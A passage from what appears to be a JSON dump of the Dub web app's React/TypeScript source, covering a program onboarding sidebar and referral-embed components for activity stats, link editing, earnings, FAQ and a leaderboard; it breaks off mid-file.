    "content": "\"use client\";\n\nimport { useWorkspaceStore } from \"@/lib/swr/use-workspace-store\";\nimport { ProgramData } from \"@/lib/types\";\nimport { PROGRAM_ONBOARDING_STEPS } from \"@/lib/zod/schemas/program-onboarding\";\nimport { useMediaQuery } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { Check, Lock, X } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useParams, usePathname } from \"next/navigation\";\nimport { useEffect } from \"react\";\nimport { useSidebar } from \"./sidebar-context\";\n\nexport function ProgramOnboardingSteps() {\n  const pathname = usePathname();\n  const { isMobile } = useMediaQuery();\n  const { isOpen, setIsOpen } = useSidebar();\n  const { slug } = useParams<{ slug: string }>();\n  const [programOnboarding] =\n    useWorkspaceStore<ProgramData>(\"programOnboarding\");\n\n  useEffect(() => {\n    document.body.style.overflow = isOpen && isMobile ? \"hidden\" : \"auto\";\n  }, [isOpen, isMobile]);\n\n  const currentPath = pathname.replace(`/${slug}`, \"\");\n\n  const currentStep = PROGRAM_ONBOARDING_STEPS.find(\n    (s) => s.href === currentPath,\n  );\n\n  const lastCompletedStep =\n    programOnboarding?.lastCompletedStep ?? \"get-started\";\n\n  const lastCompletedStepObj = PROGRAM_ONBOARDING_STEPS.find(\n    (s) => s.step === lastCompletedStep,\n  );\n\n  return (\n    <>\n      <div\n        className={cn(\n          \"fixed left-0 top-14 z-20 h-[calc(100vh-3.5rem)] w-screen transition-[background-color,backdrop-filter] md:sticky md:top-0 md:z-0 md:h-[calc(100vh-3.5rem)] md:w-full md:bg-transparent\",\n          isOpen\n            ? \"bg-black/20 backdrop-blur-sm\"\n            : \"bg-transparent max-md:pointer-events-none\",\n        )}\n        onClick={(e) => {\n          if (e.target === e.currentTarget) {\n            e.stopPropagation();\n            setIsOpen(false);\n          }\n        }}\n      >\n        <div\n          className={cn(\n            \"relative h-full w-[240px] max-w-full bg-white transition-transform md:translate-x-0\",\n            !isOpen && \"-translate-x-full\",\n          )}\n        >\n          <div className=\"p-4\">\n            <div className=\"mb-4 flex items-center justify-between md:hidden\">\n              <h2 className=\"text-sm font-medium\">Program Setup</h2>\n              <button\n                onClick={() => setIsOpen(false)}\n                className=\"rounded-md p-1 hover:bg-neutral-100\"\n              >\n                <X className=\"h-5 w-5 text-neutral-600\" />\n              </button>\n            </div>\n            <nav className=\"space-y-1\">\n              {PROGRAM_ONBOARDING_STEPS.map(\n                ({ step, label, href, stepNumber }) => {\n                  const current = currentPath === href;\n\n                  const completed =\n                    step === lastCompletedStep ||\n                    (lastCompletedStepObj?.stepNumber ?? 0) >= stepNumber ||\n                    (currentStep?.stepNumber ?? 0) >= stepNumber;\n\n                  const isDisabled = !completed && !current;\n\n                  return isDisabled ? (\n                    <div\n                      key={step}\n                      className={cn(\n                        \"flex items-center gap-2 rounded-md px-3 py-2\",\n                        \"cursor-not-allowed opacity-60\",\n                      )}\n                    >\n                      <div\n                        className={cn(\n                          \"flex h-5 w-5 items-center justify-center rounded-full text-xs\",\n                          \"bg-neutral-200 text-neutral-500\",\n                        )}\n                      >\n                        {stepNumber === 5 ? (\n                          <Lock className=\"size-3\" />\n                        ) : (\n                          stepNumber\n                        )}\n                      </div>\n                      <span className=\"text-sm font-medium text-neutral-400\">\n                        {label}\n                      </span>\n                    </div>\n                  ) : (\n                    <Link\n                      key={step}\n                      href={`/${slug}${href}`}\n                      className={cn(\n                        \"flex items-center gap-2 rounded-md px-3 py-2 hover:bg-neutral-100\",\n                        current && \"bg-blue-50\",\n                      )}\n                    >\n                      <div\n                        className={cn(\n                          \"flex h-5 w-5 items-center justify-center rounded-full text-xs\",\n                          completed && \"bg-black text-white\",\n                          current && \"bg-blue-500 text-white\",\n                          !current &&\n                            !completed &&\n                            \"border border-neutral-200 text-neutral-500\",\n                        )}\n                      >\n                        {stepNumber === 5 ? (\n                          <Lock className=\"size-3\" />\n                        ) : completed ? (\n                          <Check className=\"size-3\" />\n                        ) : (\n                          stepNumber\n                        )}\n                      </div>\n                      <span\n                        className={cn(\n                          \"text-sm font-medium\",\n                          current && \"text-blue-500\",\n                          !current && !completed && \"text-neutral-600\",\n                        )}\n                      >\n                        {label}\n                      </span>\n                    </Link>\n                  );\n                },\n              )}\n            </nav>\n          </div>\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/activity.tsx",
    "content": "import { CursorRays } from \"@/ui/layout/sidebar/icons/cursor-rays\";\nimport { InfoTooltip, MiniAreaChart } from \"@dub/ui\";\nimport { cn, currencyFormatter, fetcher, nFormatter } from \"@dub/utils\";\nimport { AnalyticsTimeseries } from \"dub/models/components\";\nimport { SVGProps, useId } from \"react\";\nimport useSWR from \"swr\";\nimport { useEmbedToken } from \"../../embed/use-embed-token\";\n\nexport function ReferralsEmbedActivity({\n  clicks,\n  leads,\n  sales,\n  saleAmount,\n  color,\n}: {\n  clicks: number;\n  leads: number;\n  sales: number;\n  saleAmount: number;\n  color?: string | null;\n}) {\n  const token = useEmbedToken();\n\n  const isEmpty = clicks === 0 && leads === 0 && sales === 0;\n  const { data: analytics } = useSWR<AnalyticsTimeseries[]>(\n    !isEmpty && \"/api/embed/referrals/analytics\",\n    (url) =>\n      fetcher(url, {\n        headers: {\n          Authorization: `Bearer ${token}`,\n        },\n      }),\n    {\n      keepPreviousData: true,\n      dedupingInterval: 60000,\n    },\n  );\n\n  return (\n    <div className=\"border-border-subtle bg-bg-default rounded-lg border sm:col-span-2\">\n      {isEmpty ? (\n        <EmptyState />\n      ) : (\n        <div className=\"divide-border-subtle grid h-full grid-cols-3 divide-x\">\n          {[\n            {\n              label: \"Clicks\",\n              value: clicks,\n              description:\n                \"Total number of unique clicks your link has received\",\n            },\n            {\n              label: \"Leads\",\n              value: leads,\n              description: \"Total number of signups that came from your link\",\n            },\n            {\n              label: \"Sales\",\n              value: sales,\n              subValue: saleAmount,\n              description:\n                \"Total number of leads that converted to a paid account\",\n            },\n          ].map(({ label, value, subValue, description }) => (\n            <div\n              key={label}\n              className=\"relative flex flex-col justify-between p-4\"\n            >\n              <div>\n                <span className=\"text-content-subtle flex items-center gap-1 text-sm\">\n                  {label}\n                  <InfoTooltip content={description} />\n                </span>\n                <span className=\"text-content-default text-base font-medium leading-none\">\n                  {nFormatter(value, { full: true })}{\" \"}\n                  {subValue || subValue === 0 ? (\n                    <span className=\"text-content-subtle text-xs\">\n                      ({currencyFormatter(subValue)})\n                    </span>\n                  ) : null}\n                </span>\n              </div>\n              <div className=\"xs:block hidden h-12\">\n                <MiniAreaChart\n                  data={\n                    analytics?.map((a) => ({\n                      date: new Date(a.start),\n                      value: a[label.toLowerCase()],\n                    })) ?? []\n                  }\n                  color={color ?? undefined}\n                />\n              </div>\n            </div>\n          ))}\n        </div>\n      )}\n    </div>\n  );\n}\n\nfunction EmptyState() {\n  return (\n    <div className=\"relative flex h-full items-center justify-center overflow-hidden rounded-[inherit]\">\n      <div\n        className={cn(\n          \"pointer-events-none absolute inset-x-4 top-1/2 -translate-y-1/2 [mask-composite:intersect]\",\n          \"[mask-image:linear-gradient(90deg,transparent,black_10%,black_90%,transparent),linear-gradient(transparent,black_10%,black_90%,transparent)]\",\n        )}\n      >\n        <EmptyStateBackground className=\"w-full opacity-40 dark:opacity-70\" />\n      </div>\n      <div className=\"relative flex flex-col items-center p-4 text-center\">\n        <CursorRays className=\"text-content-subtle size-5\" />\n        <p className=\"text-content-default mt-3 text-sm font-semibold\">\n          No activity yet\n        </p>\n        <p className=\"text-content-subtle mt-1 text-sm font-medium\">\n          After your first click, your stats will show\n        </p>\n      </div>\n    </div>\n  );\n}\n\nfunction EmptyStateBackground({ className, ...rest }: SVGProps<SVGSVGElement>) {\n  const id = useId();\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      fill=\"none\"\n      viewBox=\"0 0 408 82\"\n      className={cn(className, \"text-content-muted\")}\n      {...rest}\n    >\n      <defs>\n        <linearGradient id={id} x1=\"0\" y1=\"0\" x2=\"0\" y2=\"1\">\n          <stop offset=\"0%\" stopColor=\"currentColor\" stopOpacity=\"1\" />\n          <stop offset=\"100%\" stopColor=\"currentColor\" stopOpacity=\"0\" />\n        </linearGradient>\n      </defs>\n      <path\n        fill={`url(#${id})`}\n        d=\"M355.75 14.872 305 43.5l-50.75-9.872-50.75 22.705-50.75-4.833L102 28.692 51.25 48.436.5 56.333V82h406V5z\"\n        opacity=\"0.15\"\n      />\n      <path\n        stroke=\"currentColor\"\n        strokeOpacity=\"0.45\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n        strokeWidth=\"1.5\"\n        d=\"m1 56.418 50.557-7.977a1 1 0 0 0 .213-.058l50.162-19.897a1 1 0 0 1 .792.023l50.116 23.416a1 1 0 0 0 .336.09l50.237 4.38a1 1 0 0 0 .487-.08l50.155-21.864a1 1 0 0 1 .577-.067l50.016 9.053a1 1 0 0 0 .665-.111l50.224-27.987q.13-.072.274-.104l50.522-11.003\"\n      />\n    </svg>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/add-edit-link.tsx",
    "content": "import { mutateSuffix } from \"@/lib/swr/mutate\";\nimport { PartnerGroupAdditionalLink, PartnerGroupProps } from \"@/lib/types\";\nimport { Lock } from \"@/ui/shared/icons\";\nimport { Program } from \"@dub/prisma/client\";\nimport {\n  Button,\n  Combobox,\n  InfoTooltip,\n  TAB_ITEM_ANIMATION_SETTINGS,\n  useCopyToClipboard,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport {\n  cn,\n  getApexDomain,\n  getPathnameFromUrl,\n  linkConstructor,\n  punycode,\n} from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { useDebounce } from \"use-debounce\";\nimport { useEmbedToken } from \"../use-embed-token\";\nimport { ReferralsEmbedLink } from \"./types\";\n\ninterface Props {\n  program: Pick<Program, \"domain\" | \"url\">;\n  group: Pick<PartnerGroupProps, \"id\" | \"additionalLinks\" | \"maxPartnerLinks\">;\n  link?: ReferralsEmbedLink | null;\n  onCancel: () => void;\n}\n\ninterface FormData {\n  pathname: string;\n  key: string;\n}\n\nexport function ReferralsEmbedCreateUpdateLink({\n  program,\n  group,\n  link,\n  onCancel,\n}: Props) {\n  const token = useEmbedToken();\n  const { isMobile } = useMediaQuery();\n  const [, copyToClipboard] = useCopyToClipboard();\n  const [lockKey, setLockKey] = useState(Boolean(link));\n  const [isSubmitting, setIsSubmitting] = useState(false);\n  const [errorMessage, setErrorMessage] = useState<string | null>(null);\n  const [isExactMode, setIsExactMode] = useState(false);\n\n  const shortLinkDomain = program.domain || \"\";\n  const additionalLinks: PartnerGroupAdditionalLink[] =\n    group.additionalLinks ?? [];\n\n  const destinationDomains = useMemo(\n    () => additionalLinks.map((link) => link.domain),\n    [additionalLinks],\n  );\n\n  const [destinationDomain, setDestinationDomain] = useState(\n    link ? getApexDomain(link.url) : destinationDomains?.[0] ?? null,\n  );\n\n  useEffect(() => {\n    const additionalLink = additionalLinks.find(\n      (link) => link.domain === destinationDomain,\n    );\n\n    setIsExactMode(additionalLink?.validationMode === \"exact\");\n  }, [destinationDomain, additionalLinks]);\n\n  const {\n    watch,\n    setValue,\n    register,\n    handleSubmit,\n    formState: { isDirty },\n  } = useForm<FormData>({\n    defaultValues: link\n      ? {\n          pathname: getPathnameFromUrl(link.url),\n          key: link.key,\n        }\n      : undefined,\n  });\n\n  const [key, pathname] = watch([\"key\", \"pathname\"]);\n\n  const onSubmit = async (data: FormData) => {\n    setIsSubmitting(true);\n    setErrorMessage(null);\n\n    try {\n      const endpoint = !link\n        ? \"/api/embed/referrals/links\"\n        : `/api/embed/referrals/links/${link.id}`;\n\n      const response = await fetch(endpoint, {\n        method: !link ? \"POST\" : \"PATCH\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n          Authorization: `Bearer ${token}`,\n        },\n        body: JSON.stringify({\n          ...data,\n          url: linkConstructor({\n            domain: destinationDomain,\n            key: getPathnameFromUrl(pathname),\n          }),\n        }),\n      });\n\n      const result = await response.json();\n\n      if (!response.ok) {\n        setErrorMessage(result.error.message);\n        return;\n      }\n\n      if (!link) {\n        copyToClipboard(result.shortLink);\n      }\n\n      await mutateSuffix(\"api/embed/referrals/links\");\n      onCancel();\n    } catch (error) {\n      setErrorMessage(\"Something went wrong. Please try again.\");\n    } finally {\n      setIsSubmitting(false);\n    }\n  };\n\n  const saveDisabled = useMemo(\n    () => Boolean(isSubmitting || (!link ? !key : !isDirty)),\n    [isSubmitting, key, isDirty, link],\n  );\n\n  // If there is only one destination domain and we are in exact mode, hide the destination URL input\n  const hideDestinationUrl = useMemo(\n    () =>\n      link?.partnerGroupDefaultLinkId ||\n      (destinationDomains.length === 1 && isExactMode),\n    [destinationDomains.length, isExactMode, link?.partnerGroupDefaultLinkId],\n  );\n\n  return (\n    <motion.div\n      className=\"border-border-subtle bg-bg-default relative rounded-md border\"\n      {...TAB_ITEM_ANIMATION_SETTINGS}\n    >\n      <form\n        onSubmit={handleSubmit(onSubmit)}\n        className=\"max-h-[26rem] overflow-auto\"\n      >\n        <div className=\"flex items-center justify-between border-b border-neutral-200 px-4 py-3 dark:border-neutral-800\">\n          <span className=\"text-content-default text-base font-semibold\">\n            {!link ? \"New link\" : \"Edit link\"}\n          </span>\n          <div className=\"flex items-center gap-x-2\">\n            <Button\n              text=\"Cancel\"\n              variant=\"secondary\"\n              type=\"button\"\n              className=\"h-8 px-3\"\n              onClick={onCancel}\n            />\n            <Button\n              text={!link ? \"Create link\" : \"Update link\"}\n              variant=\"primary\"\n              loading={isSubmitting}\n              disabled={saveDisabled}\n              className=\"h-8 px-3\"\n            />\n          </div>\n        </div>\n\n        <div className=\"space-y-6 p-6\">\n          <div>\n            <div className=\"flex items-center justify-between\">\n              <div className=\"flex items-center gap-2\">\n                <label\n                  htmlFor=\"short-link\"\n                  className=\"text-content-default block text-sm font-medium\"\n                >\n                  Short link\n                </label>\n                <InfoTooltip\n                  content={\n                    \"The URL that will be shared with your users. Keep it short and memorable! [Learn more.](https://dub.co/help/article/how-to-create-link)\"\n                  }\n                />\n              </div>\n\n              {lockKey && (\n                <button\n                  className=\"flex h-5 items-center space-x-2 text-sm text-neutral-500 transition-all duration-75 hover:text-black active:scale-95 dark:text-neutral-400 dark:hover:text-white\"\n                  type=\"button\"\n                  onClick={() => {\n                    window.confirm(\n                      \"Updating your short link key could potentially break existing links. Are you sure you want to continue?\",\n                    ) && setLockKey(false);\n                  }}\n                >\n                  <Lock className=\"h-3 w-3\" />\n                </button>\n              )}\n            </div>\n            <div className=\"mt-2 flex rounded-md\">\n              <span className=\"inline-flex items-center rounded-l-md border border-r-0 border-neutral-300 bg-neutral-50 px-3 text-neutral-500 sm:text-sm dark:border-neutral-700 dark:bg-neutral-800 dark:text-neutral-400\">\n                {shortLinkDomain}\n              </span>\n              <input\n                type=\"text\"\n                placeholder=\"another-link\"\n                autoFocus={!isMobile}\n                className={cn(\n                  \"border-border-default text-content-default bg-bg-default block w-full rounded-r-md placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm dark:placeholder-neutral-500 dark:focus:border-neutral-400 dark:focus:ring-neutral-400\",\n                  {\n                    \"cursor-not-allowed bg-neutral-50 text-neutral-500 dark:bg-neutral-800 dark:text-neutral-400\":\n                      lockKey,\n                  },\n                )}\n                {...register(\"key\", { required: true })}\n                disabled={lockKey}\n              />\n            </div>\n\n            {errorMessage && (\n              <div className=\"mt-2 flex justify-end\">\n                <span className=\"text-sm text-red-600 dark:text-red-400\">\n                  {errorMessage}\n                </span>\n              </div>\n            )}\n          </div>\n\n          {!hideDestinationUrl && (\n            <div>\n              <div className=\"flex items-center gap-2\">\n                <label\n                  htmlFor=\"url\"\n                  className=\"text-content-default block text-sm font-medium\"\n                >\n                  Destination URL\n                </label>\n                <InfoTooltip\n                  content={\n                    \"The URL your users will get redirected to when they visit your referral link. [Learn more.](https://dub.co/help/article/how-to-create-link)\"\n                  }\n                />\n              </div>\n              <div className=\"relative mt-1 flex rounded-md shadow-sm\">\n                <div className=\"z-[1]\">\n                  <DestinationDomainCombobox\n                    selectedDomain={destinationDomain}\n                    setSelectedDomain={setDestinationDomain}\n                    destinationDomains={destinationDomains}\n                    disabled={Boolean(link)}\n                  />\n                </div>\n                <input\n                  type=\"text\"\n                  placeholder=\"(optional)\"\n                  disabled={isExactMode}\n                  onPaste={(e: React.ClipboardEvent<HTMLInputElement>) => {\n                    if (isExactMode) return;\n\n                    e.preventDefault();\n                    // if pasting in a URL, extract the pathname\n                    const text = e.clipboardData.getData(\"text/plain\");\n                    try {\n                      const url = new URL(text);\n                      e.currentTarget.value = url.pathname.slice(1);\n                    } catch (err) {\n                      e.currentTarget.value = text;\n                    }\n\n                    setValue(\"pathname\", e.currentTarget.value, {\n                      shouldDirty: true,\n                    });\n                  }}\n                  className={cn(\n                    \"z-0 block w-full rounded-r-md border-neutral-300 text-neutral-900 placeholder-neutral-400 focus:z-[1] focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:text-sm\",\n                    {\n                      \"cursor-not-allowed border bg-neutral-100 text-neutral-500\":\n                        isExactMode,\n                    },\n                  )}\n                  {...register(\"pathname\", { required: false })}\n                />\n              </div>\n            </div>\n          )}\n        </div>\n      </form>\n    </motion.div>\n  );\n}\n\nfunction DestinationDomainCombobox({\n  selectedDomain,\n  setSelectedDomain,\n  destinationDomains,\n  disabled = false,\n}: {\n  selectedDomain?: string;\n  setSelectedDomain: (domain: string) => void;\n  destinationDomains: string[];\n  disabled?: boolean;\n}) {\n  const [search, setSearch] = useState(\"\");\n  const [debouncedSearch] = useDebounce(search, 500);\n  const [isOpen, setIsOpen] = useState(false);\n\n  const options = useMemo(() => {\n    const allDomains = selectedDomain\n      ? [\n          selectedDomain,\n          ...destinationDomains.filter((d) => d !== selectedDomain),\n        ]\n      : destinationDomains;\n\n    if (!debouncedSearch) {\n      return allDomains.map((domain) => ({\n        value: domain,\n        label: punycode(domain),\n      }));\n    }\n\n    return allDomains\n      .filter((domain) =>\n        punycode(domain).toLowerCase().includes(debouncedSearch.toLowerCase()),\n      )\n      .map((domain) => ({\n        value: domain,\n        label: punycode(domain),\n      }));\n  }, [selectedDomain, destinationDomains, debouncedSearch]);\n\n  return (\n    <Combobox\n      selected={\n        selectedDomain\n          ? {\n              value: selectedDomain,\n              label: punycode(selectedDomain),\n            }\n          : null\n      }\n      setSelected={(option) => {\n        if (!option) return;\n        setSelectedDomain(option.value);\n      }}\n      options={options}\n      caret={true}\n      placeholder=\"Select domain...\"\n      searchPlaceholder=\"Search domains...\"\n      buttonProps={{\n        className: cn(\n          \"w-32 sm:w-40 h-full rounded-r-none border-r-transparent justify-start px-2.5\",\n          \"data-[state=open]:ring-1 data-[state=open]:ring-neutral-500 data-[state=open]:border-neutral-500\",\n          \"focus:ring-1 focus:ring-neutral-500 focus:border-neutral-500 transition-none\",\n          {\n            \"cursor-not-allowed bg-neutral-100 text-neutral-500\": disabled,\n          },\n        ),\n        disabled,\n      }}\n      optionClassName=\"sm:max-w-[225px]\"\n      shouldFilter={false}\n      open={disabled ? false : isOpen}\n      onOpenChange={disabled ? undefined : setIsOpen}\n      onSearchChange={disabled ? undefined : setSearch}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/dynamic-height-messenger.tsx",
    "content": "\"use client\";\n\nimport { useEffect } from \"react\";\n\nexport function DynamicHeightMessenger() {\n  useEffect(() => {\n    document.body.style.overflow = \"hidden\";\n    const update = () => {\n      const height = document.body.scrollHeight;\n      parent.postMessage(\n        {\n          originator: \"Dub\",\n          event: \"PAGE_HEIGHT\",\n          data: { height },\n        },\n        \"*\",\n      );\n    };\n    update();\n\n    const resizeObserver = new ResizeObserver(update);\n    resizeObserver.observe(document.body);\n\n    return () => {\n      resizeObserver.disconnect();\n    };\n  }, []);\n\n  return false;\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/earnings-summary.tsx",
    "content": "import { Button, InfoTooltip } from \"@dub/ui\";\nimport { currencyFormatter } from \"@dub/utils\";\n\nexport function ReferralsEmbedEarningsSummary({\n  earnings,\n  programSlug,\n  partnerEmail,\n}: {\n  earnings: { upcoming: number; paid: number };\n  programSlug: string;\n  partnerEmail: string | null;\n}) {\n  return (\n    <div className=\"border-border-subtle bg-bg-default flex flex-col justify-between gap-4 rounded-lg border p-4\">\n      <div className=\"flex items-center justify-between\">\n        <div className=\"flex items-center gap-1\">\n          <p className=\"text-content-subtle text-sm\">Earnings</p>\n          <InfoTooltip content=\"Summary of your commission earnings from your referrals.\" />\n        </div>\n        <a\n          href={`https://partners.dub.co/${programSlug}/register${\n            partnerEmail ? `?email=${partnerEmail}` : \"\"\n          }`}\n          target=\"_blank\"\n        >\n          <Button\n            text=\"Settings\"\n            variant=\"secondary\"\n            className=\"h-7 p-2 text-sm\"\n          />\n        </a>\n      </div>\n      <div className=\"grid gap-1\">\n        {[\n          {\n            label: \"Upcoming\",\n            value: earnings.upcoming,\n          },\n          {\n            label: \"Paid\",\n            value: earnings.paid,\n          },\n        ].map(({ label, value }) => (\n          <div key={label} className=\"flex justify-between text-sm\">\n            <span className=\"text-content-subtle font-medium\">{label}</span>\n            <span className=\"text-content-default font-semibold\">\n              {currencyFormatter(value)}\n            </span>\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/earnings.tsx",
    "content": "import { REFERRALS_EMBED_EARNINGS_LIMIT } from \"@/lib/constants/misc\";\nimport { PartnerEarningsResponse } from \"@/lib/types\";\nimport { CommissionStatusBadges } from \"@/ui/partners/commission-status-badges\";\nimport {\n  Gift,\n  StatusBadge,\n  TAB_ITEM_ANIMATION_SETTINGS,\n  Table,\n  usePagination,\n  useTable,\n} from \"@dub/ui\";\nimport {\n  currencyFormatter,\n  fetcher,\n  formatDate,\n  formatDateTime,\n} from \"@dub/utils\";\nimport { motion } from \"motion/react\";\nimport useSWR from \"swr\";\nimport { useEmbedToken } from \"../../embed/use-embed-token\";\n\nexport function ReferralsEmbedEarnings({ salesCount }: { salesCount: number }) {\n  const token = useEmbedToken();\n\n  const { pagination, setPagination } = usePagination(\n    REFERRALS_EMBED_EARNINGS_LIMIT,\n  );\n  const { data: earnings, isLoading } = useSWR<PartnerEarningsResponse[]>(\n    `/api/embed/referrals/earnings?page=${pagination.pageIndex}`,\n    (url) =>\n      fetcher(url, {\n        headers: {\n          Authorization: `Bearer ${token}`,\n        },\n      }),\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: earnings || [],\n    loading: isLoading,\n    columns: [\n      {\n        id: \"customer\",\n        header: \"Customer\",\n        cell: ({ row }) => {\n          return row.original.customer ? row.original.customer.email : \"-\";\n        },\n      },\n      {\n        id: \"createdAt\",\n        header: \"Date\",\n        cell: ({ row }) => (\n          <p title={formatDateTime(row.original.createdAt)}>\n            {formatDate(row.original.createdAt, { month: \"short\" })}\n          </p>\n        ),\n      },\n      {\n        id: \"amount\",\n        header: \"Amount\",\n        cell: ({ row }) => {\n          return currencyFormatter(row.original.amount);\n        },\n      },\n      {\n        id: \"earnings\",\n        header: \"Earnings\",\n        accessorKey: \"earnings\",\n        cell: ({ row }) => {\n          return currencyFormatter(row.original.earnings);\n        },\n      },\n      {\n        header: \"Status\",\n        cell: ({ row }) => {\n          const badge = CommissionStatusBadges[row.original.status];\n\n          return (\n            <StatusBadge icon={null} variant={badge.variant}>\n              {badge.label}\n            </StatusBadge>\n          );\n        },\n      },\n    ],\n    pagination,\n    onPaginationChange: setPagination,\n    rowCount: salesCount,\n    emptyState: (\n      <div className=\"flex w-full flex-col items-center justify-center gap-2\">\n        <Gift className=\"text-content-muted size-6\" />\n        <p className=\"text-content-muted max-w-sm text-balance text-center text-xs\">\n          No earnings yet. When you refer a friend and they make a purchase,\n          they'll show up here.\n        </p>\n      </div>\n    ),\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (plural) => `sale${plural ? \"s\" : \"\"}`,\n  });\n\n  return (\n    <motion.div {...TAB_ITEM_ANIMATION_SETTINGS}>\n      <Table\n        {...tableProps}\n        table={table}\n        containerClassName=\"rounded-md border border-border-subtle\"\n        scrollWrapperClassName=\"min-h-[22rem]\"\n      />\n    </motion.div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/faq.tsx",
    "content": "import { constructRewardAmount } from \"@/lib/api/sales/construct-reward-amount\";\nimport { RewardProps } from \"@/lib/types\";\nimport { programEmbedSchema } from \"@/lib/zod/schemas/program-embed\";\nimport { BlockMarkdown } from \"@/ui/partners/lander/blocks/block-markdown\";\nimport { Program } from \"@dub/prisma/client\";\nimport {\n  Accordion,\n  AccordionContent,\n  AccordionItem,\n  AccordionTrigger,\n  TAB_ITEM_ANIMATION_SETTINGS,\n} from \"@dub/ui\";\nimport { motion } from \"motion/react\";\n\nexport function ReferralsEmbedFAQ({\n  program,\n  reward,\n}: {\n  program: Program;\n  reward: RewardProps | null;\n}) {\n  const rewardDescription = reward\n    ? `For each new customer you refer, you'll earn a ${constructRewardAmount(reward)} commission on their subscription${\n        reward.maxDuration === null\n          ? \" for their lifetime\"\n          : reward.maxDuration && reward.maxDuration > 1\n            ? ` for up to ${reward.maxDuration} months`\n            : \"\"\n      }. There are no limits to how much you can earn.`\n    : \"\";\n\n  const programEmbedData = programEmbedSchema.parse(program.embedData);\n\n  const items = programEmbedData?.faq || [\n    {\n      title: `What is the ${program.name} Referral Program?`,\n      content: `The ${program.name} Referral Program is a way for you to earn money by referring new customers to ${program.name}. ${rewardDescription}`,\n    },\n\n    {\n      title: \"What counts as a successful conversion?\",\n      content: `New customers that sign up for a paid plan within 90 days of using your referral link will be counted as a successful conversion. Attributions are done on a last-click basis, so your link must be the last link clicked before the customer signs up for an account on ${program.name}.`,\n    },\n    {\n      title: \"How should I promote the program?\",\n      content: `You should promote the program by sharing your unique referral link with your audience. When you post or distribute content about ${program.name}, your message must make it obvious that you have a financially compensated relationship with ${program.name}. We need all promotions to be FTC compliant. A helpful guide can be found [here](https://www.ftc.gov/business-guidance/resources/disclosures-101-social-media-influencers).`,\n    },\n    {\n      title: \"Can I refer myself?\",\n      content:\n        \"Self-referrals are not allowed. The goal of the program is to reward you for referring other people. This is not a way for you to get a discount on your own account.\",\n    },\n  ];\n  return (\n    <motion.div\n      className=\"border-border-muted bg-bg-default rounded-lg border px-4 py-2 sm:px-8 sm:py-4\"\n      {...TAB_ITEM_ANIMATION_SETTINGS}\n    >\n      <Accordion type=\"single\" collapsible>\n        {items.map((item, idx) => (\n          <AccordionItem key={idx} value={idx.toString()}>\n            <AccordionTrigger\n              className=\"text-content-default py-2\"\n              variant=\"plus\"\n            >\n              <h3 className=\"text-left text-sm sm:text-base\">{item.title}</h3>\n            </AccordionTrigger>\n            <AccordionContent>\n              <BlockMarkdown className=\"text-content-subtle py-2 text-left text-sm sm:text-base\">\n                {item.content}\n              </BlockMarkdown>\n            </AccordionContent>\n          </AccordionItem>\n        ))}\n      </Accordion>\n    </motion.div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/(ee)/app.dub.co/embed/referrals/leaderboard.tsx",
    "content": "import { LeaderboardPartnerSchema } from \"@/lib/zod/schemas/partners\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport {\n  Crown,\n  TAB_ITEM_ANIMATION_SETTINGS,\n  Table,\n  Tooltip,\n  Users,\n  useTable,\n} from \"@dub/ui\";\nimport { currencyFormatter, fetcher } from \"@dub/utils\";\nimport { cn } from \"@dub/utils/src/functions\";\nimport { motion } from \"motion/react\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\nimport { useEmbedToken } from \"../../embed/use-embed-token\";\n\nexport function ReferralsEmbedLeaderboard() {\n  const token = useEmbedToken();\n\n  const { data: partners, isLoading } = useSWR<\n    z.infer<typeof LeaderboardPartnerSchema>[]\n  >(\n    \"/api/embed/referrals/leaderboard\",\n    (url) =>\n      fetcher(url, {\n        headers: {\n          Authorization: `Bearer ${token}`,\n        },\n      }),\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: partners || [],\n    loading: isLoading,\n    columns: [\n      {\n        id: \"rank\",\n        header: \"Rank\",\n        size: 40,\n        minSize: 40,\n        cell: ({ row }) => {\n          return (\n            <div className=\"flex w-8 items-center justify-start gap-1 tabular-nums\">\n              {row.index + 1}\n              {row.index <= 2 && (\n                <Crown\n                  className={cn(\"size-4\", {\n                    \"text-amber-400\": row.index === 0,\n                    \"text-neutral-400\": row.index === 1,\n                    \"text-yellow-900\": row.index === 2,\n                  })}\n                />\n              )}\n            </div>\n          );\n        },\n      },\n      {\n        id: \"name\",\n        header: \"Partner\",\n        cell: ({ row }) => {\n          return (\n            <div className=\"flex items-center gap-2\">\n              <img\n                src={row.original.image}\n                alt={row.original.name}\n                className=\"size-5 rounded-full\"\n              />\n              <Tooltip content=\"For privacy reasons, the name of the partner is anonymized.\">\n                <span className=\"cursor-help text-sm font-medium decoration-dotted underline-offset-2 hover:underline\">\n                  {row.original.name}\n                </span>\n              </Tooltip>\n            </div>\n          );\n        },\n      },\n      {\n        id: \"totalCommissions\",\n        header: \"Earnings\",\n        cell: ({ row }) => {\n          return currencyFormatter(row.original.totalCommissions);\n        },\n      },\n    ],\n    emptyState: (\n      